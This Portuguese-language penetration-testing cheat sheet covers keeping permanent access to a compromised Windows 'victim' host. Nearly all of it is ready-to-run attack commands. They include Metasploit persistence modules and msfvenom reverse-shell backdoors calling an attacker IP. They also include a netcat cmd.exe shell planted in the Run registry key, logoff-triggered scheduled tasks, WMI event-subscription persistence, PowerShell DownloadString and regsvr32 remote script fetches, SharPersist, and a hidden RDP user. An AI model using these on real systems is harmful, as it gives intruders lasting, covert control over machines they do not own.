Persistência

As vezes podemos perder nossa conexão depois que o host alvo reiniciar ou ficar um tempo sem conexão com a internet. Veremos aqui algumas formas de deixar nossa conexão com a vítima de forma permanente.

Metasploit

Nos exemplo abaixo, estamos utilizando um alvo Windows, no qual já temos uma sessão aberta com o Meterpreter.

IMPORTANTE: Para todos os exemplos abaixo, utilize o exploit/multi/handler para pegar o Meterpreter após o host alvo reiniciar o SO.

IMPORTANTE: Certifique-se de ser NT AUTHORITY\SYSTEM e ter feito um migrate em processos como lsass.exe ou explorer.exe, para assim obter melhores resultados.

Persistence

Antes de prosseguir, utilize o migrate para garantir o acesso.

ps -S lsass.exe
migrate <pid>

Agora, execute os comandos para deixar o acesso de fato persistente.

use exploit/windows/local/persistence
set EXE_NAME win32
set REG_NAME win32
set VBS_NAME win32
set PATH c:\\windows\\system32
set STARTUP SYSTEM
set LPORT <port>
set SESSION <session_id>
exploit

Persistence Registry

use exploit/windows/local/registry_persistence
set payload windows/meterpreter/reverse_tcp
set SESSION <session_id>
exploit

Persistence Service

use exploit/windows/local/persistence_service
set payload windows/meterpreter/reverse_tcp
set SESSION <session_id>
exploit

RDP

Depois de pegar o Meterpreter, utilize o comando abaixo para criar um user com acesso RDP.

run getgui -e -u <user> -p <pass>

Netcat

Faça o upload do binário do netcat para o alvo. No Kali podemos encontrá-lo, então vamos realizar o upload utilizando o Meterpreter.

upload /usr/share/windows-binaries/nc.exe c:\\windows\\system32

Agora vamos manipular o registro do Windows para fazer com que o netcat realize a conexão conosco assim que o SO for inicializado.

reg setval -k HKLM\\software\\microsoft\\windows\\currentversion\\run -v nc -d'C:\windows\system32\nc.exe -Ldp 9898 -e C:\windows\system32\cmd.exe'

Para conferir se o comando deu certo, execute:

reg queryval -k HKLM\\software\\microsoft\\windows\\currentversion\\Run -v nc

Agora podemos conectar no host remoto através do comando abaixo, mesmo depois de reiniciar o SO.

nc <ip> 9898

Schtasks

msfvenom -p windows/meterpreter/reverse_tcp LHOST=​<ip> LPORT=<port> -f exe > backdoor.exe

Para seguir os passos abaixo, é preciso ter acesso ao Meterpreter. Note que estamos utilizando o EventID 4634, pois estamos criando uma tarefa agendada com base no ID do Evento. A identificação do evento é listada nos logs quando uma conta foi desconectada. Portanto, uma vez que um usuário se logue novamente, devemos conseguir uma sessão no Meterpreter.

migrate -S explorer.exe
migrate <pid>

upload backdoor.exe C:\\Windows\\System32

shell
schtasks /Create /TN SessionOnLogOff /TR ​C:\Windows\System32\backdoor.exe​ /SCONEVENT /EC Security /MO "*[System[(Level=4 or Level=0) and (EventID=​4634​)]]"

No host atacante, utilize o exploit/multi/handler para realizar a conexão via Meterpreter.

wmic

msfvenom -p windows/meterpreter/reverse_tcp LHOST=<ip> LPORT=<port> -f exe > backdoor.exe

Faça upload do arquivo arquivo gerado para o alvo em C:\Users\Administrator\AppData\Local\Temp.

upload backdoor.exe C:\\Users\\Administrator\\AppData\\Local\\Temp

Execute os comandos wmic no SO alvo para criar a persistência.

# Cria uma instância __EventFilter
wmic /NAMESPACE:"\\root\subscription" PATH ​__EventFilter ​CREATE Name="<name>", EventNameSpace="root\cimv2",QueryLanguage="WQL",Query="SELECT * FROM __InstanceModificationEvent ​WITHIN 10 WHERE​ TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'"

# Cria uma instância __EventConsumer e usa a Classe CommandLineEventConsumer
wmic /NAMESPACE:"\\root\subscription" PATH ​CommandLineEventConsumer ​CREATE Name="<name>",ExecutablePath="​C:\Users\Administrator\AppData\Local\Temp\backdoor.exe​",CommandLineTemplate="C:\Windows\system32\backdoor.exe"

# Registra o evento permanentemente
wmic /NAMESPACE:"\\root\subscription" PATH ​__FilterToConsumerBinding​ CREATE Filter="​__EventFilter​.Name=\"<name>\"",Consumer="​CommandLineEventConsumer​.Name=\"<name>\""

No host atacante, utilize o exploit/multi/handler para realizar a conexão via Meterpreter.

WMI

Execute o comando abaixo em outro terminal para gerar o backdoor e envie o arquivo gerado para o host alvo.

msfvenom -p windows/meterpreter/reverse_tcp LHOST=<ip_atacante> LPORT=<port> -fexe > backdoor.exe

Feito isso, acesse o diretório onde está o arquivo WMI-Persistence.ps1 e abra uma porta web.

cd </path/to/file.ps1>
python -m SimpleHTTPServer 80

Agora vá para o terminal que está com o Meterpreter aberto (ou utilize o mesmo terminal e acesse o Meterpreter) e execute os seguintes comandos:

# Alterando de diretório
cd <c:\\path\\to\\backdoor>

# Carregando o Powershell
load PowerShell
powershell_shell

# Executando o WMI-Persistence.ps1
iex (New-ObjectNet.WebClient).DownloadString('http://​<ip_atacante>​/WMI-Persistence.ps1')

Install-Persistence -Trigger Startup -Payload "<C:\path\to\backdoor.exe>"

O host então, poderá ser reiniciado que irá tentar conectar com o host atacante, realizando assim uma conexão via Meterpreter. No host alvo, utilize o exploit/multi/handler para realizar a conexão via Meterpreter.

Regsvr32

msfconsole
use exploit/multi/script/web_delivery
set payload windows/x64/meterpreter/reverse_tcp
set LHOST <ip_atacante>
set target 3
exploit

Vá para o outro terminal (que tenha acesso Meterpreter) e execute os seguintes comandos:

# Carregando o Powershell
load powershell
powershell_shell

# Repare que a parte entre aspas simples, deve ser igual a saída do comando realizado no outro terminal
schtasks /create /tn <name> /tr "​c:\windows\system32\WindowsPowerShell\v1.0\powershell.exe​ -WindowStyle hidden -NoLogo -NonInteractive -ep bypass -nop -c '​regsvr32 /s /n /u /i:http://<ip_atacante>:8080/5oq2CIKAnPFvO8.sct scrobj.dll​'" /sc onlogon /ru System

Após isso, será realizar uma conexão Meterpreter assim que o host alvo for reiniciado.

SharPersist

msfvenom -p windows/meterpreter/reverse_tcp LHOST=​<ip_atacante> LPORT=<port> -f exe > backdoor.exe

Faça upload dos arquivos SharPersist.exe e backdoor.exe para o host alvo no diretório C:\Users\Administrator\AppData\Local\Temp\ e depois execute no Meterpreter:

# Carregando o Powershell
load PowerShell
powershell_shel

# Executando o SharPersist
./SharPersist.exe -t schtask -c "C:\Windows\System32\cmd.exe" -a "/c \Users\Administrator\AppData\Local\Temp\backdoor.exe" -n "<name>" -m add -o logon

No host atacante, utilize o exploit/multi/handler para realizar a conexão via Meterpreter.

Sites

# Wmi-Persistence
https://github.com/subesp0x10/Wmi-Persistence

# SharPersist
https://github.com/fireeye/SharPersist

Last updated